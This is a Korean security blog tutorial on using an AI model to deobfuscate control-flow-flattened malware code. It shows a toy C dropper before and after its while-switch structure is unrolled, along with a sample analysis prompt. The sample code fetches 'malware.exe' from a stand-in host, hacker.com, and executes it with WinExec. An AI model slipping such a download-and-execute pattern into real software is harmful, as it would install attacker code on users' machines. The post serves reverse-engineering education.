안녕하세요, 끈기 있는 보안 연구원 여러분! 🕵️♂️
악성코드 분석을 하다 보면 가끔 "이거 만든 사람 성격이 얼마나 꼬인 거야?" 싶을 정도로 복잡한 코드를 만날 때가 있습니다.
코드가 위에서 아래로 순서대로 실행되는 게 아니라, GOTO 문을 남발하며 여기 갔다 저기 갔다... 마치 엉킨 이어폰 줄이나 라면 사리처럼 꼬여있는 코드 말이죠. 🧶
우리는 이걸 '스파게티 코드(Spaghetti Code)' 또는 전문 용어로 '제어 흐름 평탄화(Control Flow Flattening)' 된 코드라고 부릅니다.
사람의 뇌는 순차적인(Linear) 흐름을 좋아하지만, 컴퓨터는 점프(Jump)를 좋아합니다. 공격자는 이 점을 이용해 분석가를 괴롭히죠.
오늘은 우리의 AI 조수에게 "이 엉킨 실타래를 풀어서, 순서대로 정렬해줘!" 라고 시키는 제어 흐름 복구(Deobfuscation) 실습을 진행해보겠습니다. 🛠️

1. 제어 흐름 평탄화(Control Flow Flattening)가 뭔가요? 🤔
정상적인 프로그램은 보통 [ A → B → C ] 순서로 실행됩니다.
하지만 난독화 도구는 이걸 조각조각 낸 다음, 거대한 Switch 문 안에 집어넣고 순서를 뒤섞습니다.
- 정상: A 하고 B 하고 C 해라.
- 난독화:
- 상태 변수 state = 1
- while 반복문 시작
- state가 1이면 A 하고 state = 3으로 바꿔.
- state가 2면 C 하고 종료해.
- state가 3이면 B 하고 state = 2로 바꿔.
결국 실행 순서는 A → B → C 지만, 코드를 눈으로 보면 1 → 3 → 2 로 왔다 갔다 해서 정신이 하나도 없습니다. 😵💫
2. [실습] 엉킨 코드 준비 (Before) 🌪️
자, 여기 실제 악성코드에서 자주 보이는 형태의 '스위치 디스패처(Switch Dispatcher)' 패턴 코드가 있습니다. 눈으로 한번 따라가 보세요. (아마 어지러우실 겁니다.)
C
// 🤮 난독화된 스파게티 코드
void MaliciousFunction() {
int state = 10; // 시작 상태
char* url = "";
char* file = "";
while (state != 99) { // 무한 루프처럼 보임
switch(state) {
case 20:
// 파일 실행
WinExec(file, 1);
state = 99; // 종료 상태로 변경
break;
case 10:
// URL 설정
url = "http://hacker.com/malware.exe";
state = 30; // 다음은 어디로?
break;
case 40:
// 파일 저장
WriteFile(file, downloaded_data);
state = 20; // 다음은 어디로?
break;
case 30:
// 다운로드 시도
file = "C:\\Temp\\malware.exe";
Download(url, file);
if (CheckFileExists(file)) {
state = 40; // 성공하면 40으로
} else {
state = 99; // 실패하면 종료
}
break;
}
}
}
이 코드를 분석하려면 case 10 봤다가, state가 30이 되니 case 30 찾으러 내려갔다가, 다시 case 40 찾으러 올라갔다가... 🎢 눈이 핑핑 돕니다.
3. AI에게 "평문(Linear Code)" 변환 요청하기 🗣️
이제 AI에게 이 코드를 '논리적 실행 순서'대로 재배열해달라고 요청합시다. 여기서 중요한 건 "상태 변수(state)의 흐름을 추적하라"고 명시하는 것입니다.
📝 프롬프트 (Prompt)
[역할] 당신은 리버스 엔지니어링 전문가입니다.
[상황] 현재 분석 중인 C 코드가 'Control Flow Flattening(제어 흐름 평탄화)' 기법으로 난독화되어 있습니다. while 루프와 switch 문을 사용하여 실행 흐름을 뒤섞고 있습니다.
[요청사항]
- state 변수의 값 변화를 추적하여, 코드가 실제로 실행되는 순서를 파악하세요.
- 복잡한 while-switch 구조를 제거하고, 위에서 아래로 흐르는 평문(Linear) 형태의 의사 코드(Pseudocode)로 변환하세요.
- goto 문을 사용하지 말고, if-else와 함수 호출만으로 깔끔하게 정리하세요.
[코드]
(위의 난독화 코드를 붙여넣기)
4. [결과] 쫙 펴진 코드 확인 (After) ✨
AI가 state 변수를 추적(Tracing)해서 뒤섞인 조각들을 순서대로 맞췄습니다. 결과를 볼까요?
C
// 😍 AI가 정리한 평문 코드 (Deobfuscated)
void MaliciousFunction_Cleaned() {
// 1. [State 10] 초기 설정
char* url = "http://hacker.com/malware.exe";
// 2. [State 30] 다운로드 및 파일 경로 설정
char* file = "C:\\Temp\\malware.exe";
Download(url, file);
// 3. [State 30의 분기] 다운로드 성공 여부 확인
if (CheckFileExists(file)) {
// 4. [State 40] 파일 저장 (성공 시)
WriteFile(file, downloaded_data);
// 5. [State 20] 파일 실행
WinExec(file, 1);
} else {
// [State 99] 실패 시 종료
return;
}
// [State 99] 정상 종료
return;
}
🔍 무엇이 좋아졌나요?
- 가독성 100배 상승: while과 switch가 사라지고, 코드가 위에서 아래로 물 흐르듯 읽힙니다.
- 흐름 파악:
- URL 설정 (State 10)
- 다운로드 (State 30)
- 성공하면? 저장(State 40)하고 실행(State 20)
- 실패하면? 종료(State 99)
- 악성 행위 식별: 이제야 비로소 "아, 다운로드하고 파일이 있으면 실행하는 드로퍼(Dropper)구나!"라고 한눈에 파악할 수 있습니다.
5. 실습 꿀팁 및 주의사항 🍯
- 상태 변수 찾기: 이런 난독화 패턴에서 가장 중요한 건 '신호등' 역할을 하는 변수(state, v1, flag 등)를 찾는 것입니다. AI에게 "이 변수가 신호등이야"라고 알려주면 더 잘 풉니다.
- 복잡하면 나눠서: case가 100개가 넘는 경우도 있습니다. 이럴 땐 한 번에 다 넣지 말고, 앞서 배운 '청크 분할'을 통해 "case 1~10번 흐름 정리해줘", "case 11~20번 정리해줘" 식으로 나누어 진행하세요.
- Opaque Predicate (불투명한 조건): 가끔 if (3 * 3 == 9) 처럼 무조건 참인데 조건문인 척하는 코드가 섞여 있을 수 있습니다. AI에게 "항상 참/거짓인 가짜 조건문도 제거해줘"라고 추가 요청하세요.
🎉 마치며
오늘 우리는 AI의 힘을 빌려 스파게티처럼 꼬인 코드를 젓가락으로 집어 올리듯 쫙 펴보았습니다. 🍜
이 기술은 악성코드 분석뿐만 아니라, 남이 짠 난해한 레거시 코드를 분석할 때도 매우 유용합니다.
이제 복잡한 switch 문을 만나도 겁먹지 말고, "AI야, 이거 줄 좀 세워봐!" 라고 외쳐보세요.
다음 시간에는 지금까지 배운 정적 분석(Static Analysis) 내용을 종합하여, AI가 스스로 분석 보고서를 작성하는 마법을 부려보겠습니다. 기대해 주세요! 👋
'일반IT > IT보안' 카테고리의 다른 글
| [심화] 실행 버튼 누르지 마세요! 🚫 AI로 악성코드의 미래를 예언하는 법 🔮 (정적 분석의 꽃, 동작 예측) (0) | 2025.12.12 |
|---|---|
| [실습] "이 코드, 누가 주석 좀 달아줘!" 😫 AI 조수에게 상세 주석(Comment) 자동 생성 시키기 ✍️ (0) | 2025.12.12 |
| [실습] 난독화된 코드, AI가 토하지 않게 떠먹여주기! 🥄 (청크 분할 전략) (0) | 2025.12.11 |
| [이론] 해커들의 은신술! 🥷 악성 스크립트 난독화(Obfuscation) 기법 완벽 해부 (0) | 2025.12.11 |
| [심화] "그 함수, 진짜 그냥 복사만 할까?" 🕵️♂️ 분석가가 놓치는 은밀한 서브루틴, AI로 검거하기 (0) | 2025.12.11 |